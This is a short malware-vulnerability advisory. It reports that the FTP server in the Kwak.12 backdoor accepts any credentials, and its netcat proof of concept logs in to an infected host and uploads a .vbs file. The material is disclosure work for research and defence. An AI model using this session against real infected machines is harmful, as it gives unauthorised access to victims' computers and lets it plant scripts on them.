Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c25393545e5ead3a35996ef9a887bd34_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Kwak.12
Vulnerability: Authentication Bypass
Description: The backdoor runs an FTP server that listens on TCP port 37885. The program acts like a typical FTP server and prompts for logon. However, anyone can seemingly use any combination of username and password to logon to the system and run commands.

Logon using any user/pass combination.

USER 666
331 Password required for 666.
PASS 666
230 User 666 logged in.

Type: PE32
MD5: c25393545e5ead3a35996ef9a887bd34
Vuln ID: MVID-2021-0147
Dropped files: 
Disclosure: 03/25/2021

Exploit/PoC:
nc64.exe x.x.x.x 37885

220 Enter Login
Computer Name: DESKTOP-2X3IHHP
Local IP: 192.168.88.128
User On This Computer: victim
Drive C: 14.99 Gb Free

USER malvuln
331 Password required for malvuln.
PASS root
230 User malvuln logged in.
250 CWD command successful. "C:/TEMP/" is current directory.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,88,128,194,62).
STOR a.vbs
150 Opening data connection for a.vbs.
PASV
226 File received ok
227 Entering Passive Mode (192,168,88,128,194,63).


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